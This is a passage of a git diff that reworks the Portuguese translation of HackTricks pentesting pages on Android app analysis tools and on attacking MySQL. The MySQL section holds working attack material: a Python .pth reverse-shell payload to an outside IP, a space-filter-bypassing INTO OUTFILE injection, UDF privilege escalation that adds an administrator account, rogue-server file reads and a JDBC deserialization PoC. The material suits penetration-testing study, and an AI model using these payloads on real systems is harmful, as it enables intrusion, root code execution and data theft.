dinâmica with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz** requisições HTTP e procurar vulnerabilidades. > [!TIP] -> Após realizar uma análise dinâmica com MobSF as configurações de proxy podem ficar mal configuradas e você não conseguirá corrigi-las pela GUI. Você pode corrigir as configurações de proxy fazendo: +> Após realizar uma análise dinâmica com MobSF as configurações de proxy podem ficar mal configuradas e você não conseguirá corrigi-las pela GUI. Você pode corrigir as configurações de proxy executando: > > ``` > adb shell settings put global http_proxy :0 @@ -666,7 +666,7 @@ Uma vez que você termine a análise dinâmica com MobSF você pode pressionar " ### Assisted Dynamic Analysis with Inspeckage -Você pode obter a ferramenta em [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ +You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ Esta ferramenta vai usar alguns **Hooks** para informar **o que está acontecendo na aplicação** enquanto você realiza uma **análise dinâmica**. ### [Yaazhini](https://www.vegabird.com/yaazhini/) @@ -677,7 +677,7 @@ Esta é uma **ótima ferramenta para realizar análise estática com uma GUI** ### [Qark](https://github.com/linkedin/qark) -Esta ferramenta foi projetada para procurar várias vulnerabilidades relacionadas à segurança em aplicações Android, seja no **source code** ou em **packaged APKs**. A ferramenta também é **capaz de criar um "Proof-of-Concept" deployable APK** e **comandos ADB**, para explorar algumas das vulnerabilidades encontradas (Exposed activities, intents, tapjacking...). Como com Drozer, não é necessário dar root no dispositivo de teste. +Esta ferramenta foi projetada para procurar várias **vulnerabilidades relacionadas à segurança em aplicações Android**, seja no **source code** ou em **packaged APKs**. A ferramenta também é **capaz de criar um "Proof-of-Concept" deployable APK** e **ADB commands**, para explorar algumas das vulnerabilidades encontradas (Exposed activities, intents, tapjacking...). Como com Drozer, não é necessário root no dispositivo de teste. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -686,10 +686,10 @@ qark --java path/to/specific/java/file.java ``` ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) -- Exibe todos os arquivos extraídos para referência fácil +- Exibe todos os arquivos extraídos para referência rápida - Descompila automaticamente arquivos APK para os formatos Java e Smali -- Analisa AndroidManifest.xml para common vulnerabilities e behavior -- Análise estática do source code para common vulnerabilities e behavior +- Analisa AndroidManifest.xml em busca de vulnerabilidades comuns e comportamento +- Análise estática do código-fonte para detectar vulnerabilidades e comportamento comuns - Informações do dispositivo - e mais ```bash @@ -697,9 +697,9 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER é uma aplicação de linha de comando que pode ser usada no Windows, MacOS X e Linux, e que analisa arquivos _.apk_ em busca de vulnerabilidades. Faz isso descomprimindo APKs e aplicando uma série de regras para detectar essas vulnerabilidades. +SUPER é um aplicativo de linha de comando que pode ser usado em Windows, MacOS X e Linux, que analisa arquivos _.apk_ em busca de vulnerabilidades. Faz isso descompactando APKs e aplicando uma série de regras para detectar essas vulnerabilidades. -Todas as regras estão centralizadas em um arquivo `rules.json`, e cada empresa ou testador pode criar suas próprias regras para analisar o que precisam. +Todas as regras estão centralizadas em um arquivo `rules.json`, e cada empresa ou testador pode criar suas próprias regras para analisar o que precisarem. Baixe os binários mais recentes na [download page](https://superanalyzer.rocks/download.html) ``` @@ -711,7 +711,7 @@ super-analyzer {apk_file} StaCoAn é uma ferramenta **multiplataforma** que auxilia desenvolvedores, bugbounty hunters e ethical hackers na realização de [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) em aplicações móveis. -O conceito é que você arraste e solte o arquivo da sua aplicação móvel (um arquivo .apk ou .ipa) na aplicação StaCoAn e ela irá gerar um relatório visual e portátil para você. Você pode ajustar as configurações e wordlists para obter uma experiência personalizada. +O conceito é que você arraste e solte o arquivo da sua aplicação móvel (um arquivo .apk ou .ipa) na aplicação StaCoAn e ele gerará um relatório visual e portátil para você. Você pode ajustar as configurações e wordlists para obter uma experiência personalizada. Baixar[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` @@ -719,7 +719,7 @@ Baixar[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework é um sistema de análise de vulnerabilidades para Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicações Android.\ +AndroBugs Framework é um sistema de análise de vulnerabilidades do Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicativos Android.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -727,11 +727,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** é uma ferramenta cujo objetivo principal é detectar e avisar o usuário sobre potenciais comportamentos maliciosos desenvolvidos por um aplicativo Android. +**Androwarn** é uma ferramenta cujo principal objetivo é detectar e alertar o usuário sobre comportamentos potencialmente maliciosos desenvolvidos por uma aplicação Android. -A detecção é realizada com a **static analysis** do Dalvik bytecode da aplicação, representado como **Smali**, com a biblioteca [`androguard`](https://github.com/androguard/androguard). +A detecção é realizada através da **static analysis** do bytecode Dalvik da aplicação, representado como **Smali**, usando a biblioteca [`androguard`](https://github.com/androguard/androguard). -Esta ferramenta procura por **comportamento comum de "aplicações maliciosas"** como: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... +Esta ferramenta procura por **common behavior of "bad" applications** como: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -739,16 +739,16 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** é um **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. É uma ferramenta que reúne ferramentas comumente usadas para mobile application reverse engineering e analysis, para auxiliar no teste de aplicações móveis contra as ameaças de segurança mobile da OWASP. Seu objetivo é tornar essa tarefa mais fácil e amigável para desenvolvedores de aplicações móveis e profissionais de segurança. +**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. É uma ferramenta que agrupa ferramentas comumente usadas para reverse engineering e analysis de aplicações móveis, para auxiliar nos testes de aplicações móveis contra as ameaças de segurança mobile do OWASP. Seu objetivo é tornar essa tarefa mais fácil e mais amigável para desenvolvedores de aplicações móveis e profissionais de segurança. -Ele é capaz de: +It is able to: -- Extrair código Java e Smali usando diferentes ferramentas -- Analisar APKs usando: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- Extrair informações privadas do APK usando regexps. -- Analisar o Manifest. -- Analisar domínios encontrados usando: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) e [whatweb](https://github.com/urbanadventurer/WhatWeb) -- Deobfuscar APK via [apk-deguard.com](http://www.apk-deguard.com) +- Extract Java and Smali code using different tools +- Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) +- Extract private information from the APK using regexps. +- Analyze the Manifest. +- Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) +- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com) ### Koodous @@ -756,59 +756,59 @@ Ele é capaz de: ## Obfuscating/Deobfuscating code -Observe que, dependendo do serviço e da configuração usados para ofuscar o código, segredos podem ou não acabar ofuscados. +Note que, dependendo do serviço e da configuração que você usa para ofuscar o código, segredos podem ou não ficar ofuscados. ### [ProGuard]() -Segundo a [Wikipedia](): **ProGuard** é uma ferramenta open source de linha de comando que reduz, otimiza e ofusca código Java. É capaz de otimizar bytecode assim como detectar e remover instruções não utilizadas. ProGuard é software livre e é distribuído sob a GNU General Public License, versão 2. +From [Wikipedia](): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2. -ProGuard é distribuído como parte do Android SDK e é executado ao construir a aplicação em modo release. +ProGuard é distribuído como parte do Android SDK e é executado ao construir a aplicação no modo release. ### [DexGuard](https://www.guardsquare.com/dexguard) -Encontre um guia passo a passo para deobfuscar o apk em [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) +Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(Do guia) Da última vez que verificamos, o modo de operação do Dexguard era: +(From that guide) Last time we checked, the Dexguard mode of operation was: -- carregar um recurso como um InputStream; -- passar o resultado para uma classe que herda de FilterInputStream para decriptá-lo; -- fazer alguma obfuscação inútil para gastar alguns minutos do tempo de um reverser; -- passar o resultado decriptado para um ZipInputStream para obter um arquivo DEX; -- finalmente carregar o DEX resultante como um Resource usando o método `loadDex`. +- load a resource as an InputStream; +- feed the result to a class inheriting from FilterInputStream to decrypt it; +- do some useless obfuscation to waste a few minutes of time from a reverser; +- feed the decrypted result to a ZipInputStream to get a DEX file; +- finally load the resulting DEX as a Resource using the `loadDex` method. ### [DeGuard](http://apk-deguard.com) -**DeGuard reverte o processo de ofuscação realizado por ferramentas de ofuscação Android. Isso possibilita diversas análises de segurança, incluindo inspeção de código e identificação de bibliotecas.** +**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.** Você pode enviar um APK ofuscado para a plataforma deles. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -Esta é uma ferramenta LLM para encontrar potenciais vulnerabilidades de segurança em android apps e deobfuscar o código de apps android. Usa a Gemini public API do Google. +This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API. ### [Simplify](https://github.com/CalebFenton/simplify) -É um **deobfuscator genérico para android.** Simplify **virtualmente executa um app** para entender seu comportamento e então **tenta otimizar o código** para que se comporte de forma idêntica, mas seja mais fácil para um humano entender. Cada tipo de otimização é simples e genérico, então não importa qual tipo específico de ofuscação foi usado. +It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD fornece informações sobre **como um APK foi criado**. Identifica muitos **compilers**, **packers**, **obfuscators**, e outras coisas estranhas. É o [_PEiD_](https://www.aldeid.com/wiki/PEiD) para Android. +APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android. ### Manual -[Leia este tutorial para aprender alguns truques sobre **como reverter ofuscação personalizada**](manual-deobfuscation.md) +[Leia este tutorial para aprender alguns truques sobre **como reverter ofuscação customizada**](manual-deobfuscation.md) ## Labs ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate que inclui uma coleção dos frameworks, tutoriais e labs mais recentes de diferentes entusiastas e pesquisadores de segurança para reverse engineering e análise de malware. +AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate que inclui uma coleção dos frameworks, tutoriais e labs mais recentes de diferentes entusiastas e pesquisadores de segurança para reverse engineering e malware analysis. ## References - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) - [https://appsecwiki.com/#/](https://appsecwiki.com/#/) É uma ótima lista de recursos -- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) curso rápido de Android +- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index dc4f68dbc..92e1c65b3 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -2,15 +2,15 @@ {{#include ../banners/hacktricks-training.md}} -## **Informações Básicas** +## **Informação Básica** -**MySQL** pode ser descrito como um **Relational Database Management System (RDBMS)** de código aberto disponível gratuitamente. Ele usa **Structured Query Language (SQL)**, permitindo o gerenciamento e manipulação de bancos de dados. +**MySQL** pode ser descrito como um **Relational Database Management System (RDBMS)** de código aberto que está disponível gratuitamente. Ele opera sobre a **Structured Query Language (SQL)**, permitindo o gerenciamento e manipulação de bancos de dados. **Porta padrão:** 3306 ``` 3306/tcp open mysql ``` -## **Conexão** +## **Conectar** ### **Local** ```bash @@ -22,9 +22,9 @@ mysql -u root -p # A password will be asked (check someone) mysql -h -u root mysql -h -u root@localhost ``` -## Enumeração Externa +## External Enumeration -Algumas das ações de enumeração requerem credenciais válidas +Algumas das ações de enumeration requerem credenciais válidas ```bash nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 msf> use auxiliary/scanner/mysql/mysql_version @@ -36,7 +36,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds ``` ### [**Brute force**](../generic-hacking/brute-force.md#mysql) -### Escrever quaisquer dados binários +### Escrever qualquer dado binário ```bash CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY) @@ -78,7 +78,7 @@ quit; mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u root -h 127.0.0.1 -e 'show databases;' ``` -### MySQL Permissions Enumeration +### Enumeração de Permissões do MySQL ```sql #Mysql SHOW GRANTS [FOR user]; @@ -110,30 +110,30 @@ Você pode ver na documentação o significado de cada privilégio: [https://dev ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}} -#### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks) +#### INTO OUTFILE → Python `.pth` RCE (ganchos de configuração específicos do site) -Abusando da clássica `INTO OUTFILE` primitiva é possível obter *execução arbitrária de código* em alvos que executam posteriormente scripts em **Python**. +Abusando da clássica primitiva `INTO OUTFILE` é possível obter *execução arbitrária de código* em alvos que posteriormente executam scripts em **Python**. -1. Use `INTO OUTFILE` para gravar um arquivo **`.pth`** personalizado em qualquer diretório carregado automaticamente por `site.py` (por exemplo `.../lib/python3.10/site-packages/`). -2. O arquivo `.pth` pode conter uma *única linha* começando com `import ` seguida de código arbitrário em Python que será executado toda vez que o interpretador iniciar. -3. Quando o interpretador é executado implicitamente por um script CGI (por exemplo `/cgi-bin/ml-draw.py` com shebang `#!/bin/python`) o payload é executado com os mesmos privilégios do processo do servidor web (FortiWeb o executou como **root** → full pre-auth RCE). +1. Use `INTO OUTFILE` para deixar um arquivo customizado **`.pth`** dentro de qualquer diretório carregado automaticamente por `site.py` (ex.: `.../lib/python3.10/site-packages/`). +2. O arquivo `.pth` pode conter uma *única linha* começando com `import ` seguida de código Python arbitrário que será executado toda vez que o interpretador iniciar. +3. Quando o interpretador é executado implicitamente por um script CGI (por exemplo `/cgi-bin/ml-draw.py` com shebang `#!/bin/python`), o payload é executado com os mesmos privilégios do processo do servidor web (FortiWeb executou como **root** → full pre-auth RCE). -Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required): +Exemplo de payload `.pth` (linha única, não podem ser incluídos espaços no payload SQL final, então hex/`UNHEX()` ou concatenação de strings pode ser necessária): ```python import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) ``` -Exemplo de criação do arquivo através de uma consulta **UNION** (caracteres de espaço substituídos por `/**/` para contornar um filtro de espaços `sscanf("%128s")` e manter o tamanho total ≤128 bytes): +Exemplo de criação do arquivo através de uma query **UNION** (caracteres de espaço substituídos por `/**/` para bypassar um filtro de espaços `sscanf("%128s")` e manter o comprimento total ≤128 bytes): ```sql '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' ``` Limitações importantes & bypasses: * `INTO OUTFILE` **não pode sobrescrever** arquivos existentes; escolha um novo nome de arquivo. -* O caminho do arquivo é resolvido **relativamente ao CWD do MySQL**, então prefixar com `../../` ajuda a encurtar o caminho e contornar restrições de caminho absoluto. -* Se a entrada do atacante for extraída com `%128s` (ou similar) qualquer espaço truncará o payload; use sequências de comentário do MySQL `/**/` ou `/*!*/` para substituir espaços. -* O usuário MySQL que executa a query precisa do privilégio `FILE`, mas em muitos appliances (e.g. FortiWeb) o serviço roda como **root**, dando acesso de escrita quase em qualquer lugar. +* O caminho do arquivo é resolvido **relativo ao MySQL’s CWD**, então prefixar com `../../` ajuda a encurtar o caminho e contornar restrições de caminho absoluto. +* Se a entrada do atacante for extraída com `%128s` (ou similar) qualquer espaço vai truncar o payload; use sequências de comentário do MySQL `/**/` ou `/*!*/` para substituir espaços. +* O usuário MySQL que executa a query precisa do privilégio `FILE`, mas em muitos appliances (e.g. FortiWeb) o serviço roda como **root**, dando acesso de escrita quase em todo lugar. -Após escrever o `.pth`, basta requisitar qualquer CGI tratado pelo python interpreter para obter execução de código: +Após dropar o `.pth`, basta requisitar qualquer CGI tratado pelo python interpreter para obter execução de código: ``` GET /cgi-bin/ml-draw.py HTTP/1.1 Host: @@ -147,9 +147,9 @@ uid=0(root) gid=0(root) groups=0(root) ``` --- -## MySQL leitura arbitrária de arquivo pelo client +## MySQL leitura arbitrária de arquivo pelo cliente -Na prática, quando você tenta **load data local into a table** com o **conteúdo de um arquivo**, o servidor MySQL ou MariaDB pede que o **client leia o arquivo** e envie o conteúdo. **Então, se você conseguir manipular um mysql client para conectar ao seu próprio servidor MySQL, você pode ler arquivos arbitrários.**\ +Na prática, quando você tenta **load data local into a table** o **conteúdo de um arquivo**, o servidor MySQL ou MariaDB solicita que o **cliente o leia** e envie o conteúdo. **Então, se você conseguir manipular um mysql client para conectar ao seu próprio MySQL server, você pode ler arquivos arbitrários.**\ Observe que este é o comportamento ao usar: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; @@ -161,30 +161,32 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` -**PoC inicial:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ +**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ **Neste artigo você pode ver uma descrição completa do ataque e até como estendê-lo para RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **Aqui você pode encontrar uma visão geral do ataque:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) - +​ + + ## POST ### Usuário Mysql -Será muito interessante se mysql estiver rodando como **root**: +Será muito interessante se mysql estiver sendo executado como **root**: ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 ``` -#### Configurações Perigosas do mysqld.cnf +#### Configurações Perigosas de mysqld.cnf Na configuração dos serviços MySQL, várias opções são usadas para definir seu funcionamento e medidas de segurança: -- A configuração **`user`** é utilizada para designar o usuário sob o qual o serviço MySQL será executado. -- **`password`** é usada para estabelecer a senha associada ao usuário MySQL. -- **`admin_address`** especifica o endereço IP que escuta conexões TCP/IP na interface de rede administrativa. -- A variável **`debug`** indica as configurações de debug atuais, incluindo informações sensíveis nos logs. -- **`sql_warnings`** controla se mensagens informativas são geradas para instruções INSERT de uma única linha quando surgem avisos, possivelmente contendo dados sensíveis nos logs. +- A opção **`user`** é usada para designar o usuário sob o qual o serviço MySQL será executado. +- **`password`** é usada para definir a senha associada ao usuário MySQL. +- **`admin_address`** especifica o endereço IP que escuta por conexões TCP/IP na interface de rede administrativa. +- A variável **`debug`** indica as configurações de depuração atuais, incluindo informações sensíveis nos registros. +- **`sql_warnings`** controla se strings informativas são geradas para instruções INSERT de linha única quando surgem avisos, possivelmente contendo dados sensíveis nos registros. - Com **`secure_file_priv`**, o escopo das operações de importação e exportação de dados é restrito para aumentar a segurança. ### Privilege escalation @@ -205,13 +207,13 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys # Get a shell (with your permissions, usefull for sudo/suid privesc) \! sh ``` -### Escalada de privilégios via biblioteca +### Escalada de Privilégios via biblioteca -Se o **mysql server is running as root** (or a different more privileged user) you can make it execute commands. For that, you need to use **user defined functions**. And to create a user defined you will need a **biblioteca** para o OS que está executando o mysql. +Se o **mysql server estiver sendo executado como root** (ou um usuário diferente com mais privilégios), você pode fazê-lo executar comandos. Para isso, você precisa usar **funções definidas pelo usuário**. E para criar uma função definida pelo usuário você precisará de uma **biblioteca** para o OS que está executando o mysql. -A biblioteca maliciosa a usar pode ser encontrada dentro do sqlmap e dentro do metasploit executando **`locate "*lib_mysqludf_sys*"`**. Os arquivos **`.so`** são bibliotecas **linux** e os **`.dll`** são as do **Windows**, escolha a que você precisa. +A biblioteca maliciosa a ser usada pode ser encontrada dentro do sqlmap e dentro do metasploit executando **`locate "*lib_mysqludf_sys*"`**. Os arquivos **`.so`** são bibliotecas **linux** e os **`.dll`** são os do **Windows**, escolha o que você precisa. -Se você **não tem** essas bibliotecas, pode **procurá-las**, ou baixar este [**linux C code**](https://www.exploit-db.com/exploits/1518) e **compilar no linux da máquina vulnerável**: +Se você **não tiver** essas bibliotecas, você pode **procurá-las**, ou baixar este [**linux C code**](https://www.exploit-db.com/exploits/1518) e **compilá-lo dentro da máquina vulnerável linux**: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc @@ -250,38 +252,38 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` -#### Dica do Windows: criar diretórios com NTFS ADS a partir de SQL +#### Dica do Windows: criar diretórios com NTFS ADS via SQL -No NTFS você pode forçar a criação de diretórios usando um alternate data stream mesmo quando somente existe um file write primitive. Se a clássica UDF chain espera um diretório `plugin` mas ele não existe e `@@plugin_dir` é desconhecido ou bloqueado, você pode criá-lo primeiro com `::$INDEX_ALLOCATION`: +No NTFS, você pode forçar a criação de diretórios usando um alternate data stream mesmo quando existe apenas um file write primitive. Se a classic UDF chain espera um diretório `plugin` mas ele não existe e `@@plugin_dir` é desconhecido ou bloqueado, você pode criá-lo primeiro com `::$INDEX_ALLOCATION`: ```sql SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; -- After this, `C:\\MySQL\\lib\\plugin` exists as a directory ``` -Isso transforma o limitado `SELECT ... INTO OUTFILE` em um primitivo mais completo em stacks Windows ao criar a estrutura de pastas necessária para UDF drops. +Isso transforma o limitado `SELECT ... INTO OUTFILE` em um primitivo mais completo em stacks Windows, criando a estrutura de pastas necessária para UDF drops. ### Extraindo credenciais MySQL de arquivos -Dentro de _/etc/mysql/debian.cnf_ você pode encontrar a **senha em texto claro** do usuário **debian-sys-maint** +Dentro de _/etc/mysql/debian.cnf_ você pode encontrar a **senha em texto plano** do usuário **debian-sys-maint** ```bash cat /etc/mysql/debian.cnf ``` Você pode **usar essas credenciais para fazer login no banco de dados mysql**. -Dentro do arquivo: _/var/lib/mysql/mysql/user.MYD_ você pode encontrar **todos os hashes dos usuários MySQL** (os que você pode extrair de mysql.user dentro do banco de dados). +Inside the file: _/var/lib/mysql/mysql/user.MYD_ you can find **todos os hashes dos usuários do MySQL** (aqueles que você pode extrair de mysql.user dentro do banco de dados)_._ -Você pode extraí-los fazendo: +Você pode extraí-los executando: ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` -### Habilitando logging +### Habilitar logging -Você pode habilitar o registro de queries do mysql em `/etc/mysql/my.cnf` descomentando as seguintes linhas: +Você pode habilitar o registro de consultas do mysql dentro de `/etc/mysql/my.cnf` descomentando as linhas a seguir: ![](<../images/image (899).png>) ### Arquivos úteis -Configuration Files +Arquivos de Configuração - windows \* - config.ini @@ -296,14 +298,14 @@ Configuration Files - /var/lib/mysql/my.cnf - \~/.my.cnf - /etc/my.cnf -- Command History +- Histórico de Comandos - \~/.mysql.history -- Log Files +- Arquivos de Log - connections.log - update.log - common.log -## Banco de Dados/Tabelas padrão do MySQL +## Bancos de Dados/Tabelas Padrão do MySQL {{#tabs}} {{#tab name="information_schema"}} @@ -614,7 +616,7 @@ x$user\_summary\_by\_file\_io\ x$user_summary_by_file_io_type\ x$user\_summary\_by\_stages\ x$user_summary_by_statement_latency\ -x$user\_summary_by_statement\_type\ +x$user\_summary\_by\_statement\_type\ x$wait_classes_global_by_avg_latency\ x$wait\_classes\_global\_by\_latency\ x$waits_by_host_by_latency\ @@ -623,7 +625,7 @@ x$waits_global_by_latency {{#endtab}} {{#endtabs}} -## Comandos automáticos do HackTricks +## Comandos Automáticos do HackTricks ``` Protocol_Name: MySql #Protocol Abbreviation if there is one. Port_Number: 3306 #Comma separated if there is more than one. @@ -654,36 +656,36 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -## 2023-2025 Destaques (novo) +## Destaques 2023-2025 (novos) ### JDBC `propertiesTransform` deserialization (CVE-2023-21971) -A partir do Connector/J <= 8.0.32, um atacante que consiga influenciar a **JDBC URL** (por exemplo em software de terceiros que solicita uma string de conexão) pode requisitar que classes arbitrárias sejam carregadas no lado do *client* através do parâmetro `propertiesTransform`. Se um gadget presente no class-path puder ser carregado, isso resulta em **remote code execution in the context of the JDBC client** (pre-auth, porque não são necessárias credenciais válidas). Um PoC mínimo fica assim: +A partir do Connector/J <= 8.0.32 um atacante que consiga influenciar o **JDBC URL** (por exemplo em software de terceiros que solicita uma connection string) pode solicitar que classes arbitrárias sejam carregadas no *client* side via o parâmetro `propertiesTransform`. Se um gadget presente no class-path puder ser carregado, isso resulta em **remote code execution in the context of the JDBC client** (pre-auth, porque nenhuma credencial válida é necessária). Um PoC mínimo fica assim: ```java jdbc:mysql://:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil ``` -Executar `Evil.class` pode ser tão simples quanto colocá-lo no class-path da aplicação vulnerável ou permitir que um servidor MySQL rogue envie um objeto serializado malicioso. O problema foi corrigido no Connector/J 8.0.33 – atualize o driver ou defina explicitamente `propertiesTransform` em uma allow-list. +Executar `Evil.class` pode ser tão simples quanto colocá-lo no class-path da aplicação vulnerável ou permitir que um servidor MySQL rogue envie um objeto serializado malicioso. O problema foi corrigido no Connector/J 8.0.33 – atualize o driver ou configure explicitamente `propertiesTransform` em uma allow-list. (Veja o write-up da Snyk para detalhes) -### Ataques de servidores MySQL rogue/fake contra clientes JDBC +### Ataques Rogue / Fake de servidores MySQL contra clientes JDBC Várias ferramentas open-source implementam um protocolo MySQL *parcial* para atacar clientes JDBC que fazem conexões externas: -* **mysql-fake-server** (Java, suporta leitura de arquivo e exploits de desserialização) -* **rogue_mysql_server** (Python, capacidades similares) +* **mysql-fake-server** (Java, supports file read and deserialization exploits) +* **rogue_mysql_server** (Python, similar capabilities) Caminhos de ataque típicos: 1. A aplicação vítima carrega `mysql-connector-j` com `allowLoadLocalInfile=true` ou `autoDeserialize=true`. -2. O atacante controla DNS / entradas de host de modo que o hostname do DB resolva para uma máquina sob seu controle. -3. O servidor malicioso responde com pacotes forjados que acionam `LOCAL INFILE` para leitura arbitrária de arquivos ou desserialização Java → RCE. +2. O atacante controla DNS / host entry para que o hostname do DB resolva para uma máquina sob seu controle. +3. O servidor malicioso responde com pacotes forjados que disparam ou `LOCAL INFILE` para leitura arbitrária de arquivos ou Java deserialization → RCE. -Exemplo de one-liner para iniciar um servidor fake (Java): +Exemplo de one-liner para iniciar um fake server (Java): ```bash java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server ``` -Então aponte a aplicação 